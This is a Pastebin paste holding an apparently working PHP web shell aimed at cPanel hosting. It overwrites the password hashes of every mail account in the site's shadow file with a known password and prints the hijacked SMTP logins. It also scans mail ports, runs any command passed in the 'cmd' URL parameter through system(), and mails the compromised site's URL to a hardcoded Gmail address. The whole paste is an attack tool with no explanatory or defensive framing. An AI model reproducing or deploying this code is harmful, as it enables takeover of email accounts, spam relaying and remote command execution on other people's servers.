Advertisement
45elchapo45

Untitled

Jan 31st, 2019
643
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.55 KB | None | 0 0
  1.  
  2. <?php set_time_limit(0);
  3. ini_set('max_execution_time',0);
  4. ini_set('memory_limit',-1);
  5. $ports=array(25, 587, 465, 110, 995, 143 , 993);
  6. $primary_port='25';
  7. $user=get_current_user();
  8. $password='xls';
  9. $pwd = crypt($password,'$6$xls$');
  10. $t = $_SERVER['SERVER_NAME'];
  11. $t = @str_replace("www.","",$t);
  12. @$passwd = file_get_contents('/home/'.$user.'/etc/'.$t.'/shadow');
  13. $ex=explode("\r\n",$passwd);
  14. @link('/home/'.$user.'/etc/'.$t.'/shadow','/home/'.$user.'/etc/'.$t.'/shadow.xls.bak');
  15. @unlink('/home/'.$user.'/etc/'.$t.'/shadow');
  16. foreach($ex as $ex){ $ex=explode(':',$ex);
  17. $e= $ex[0];
  18. if ($e){ $b=fopen('/home/'.$user.'/etc/'.$t.'/shadow','ab');
  19. fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");
  20. fclose($b);
  21. echo '<span style=\'color:#00ff00;
  22. \'>'.$t.'|25|'.$e.'@'.$t.'|'.$password.'</span><br>';
  23. "</center>";
  24. }} foreach ($ports as $port) { $connection = @fsockopen($t, $port, $errno, $errstr, 2);
  25. if (is_resource($connection)) { echo '<h2>' . $host . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') is open.</h2>' . "\n";
  26. fclose($connection);
  27. } } if($_GET['cmd']) { system($_GET['cmd']);
  28. }
  29. $ip = getenv("REMOTE_ADDR");
  30. $hostname = gethostbyaddr($ip);
  31. $bilsmg = "Link Mailer : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
  32. $bilsnd ="omar.jezi3@gmail.com";
  33. $bilsub = "New SMTP!! $ip";
  34. $bilhead = "From: MaileRyew";
  35. $bilhead .= $_POST['eMailAdd']."\n";
  36. $bilhead .= "MIME-Version: 1.0\n";
  37. $arr=array($bilsnd, $IP);
  38. foreach ($arr as $bilsnd) mail($bilsnd,$bilsub,$bilsmg,$bilhead,$message);
  39.  
  40. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement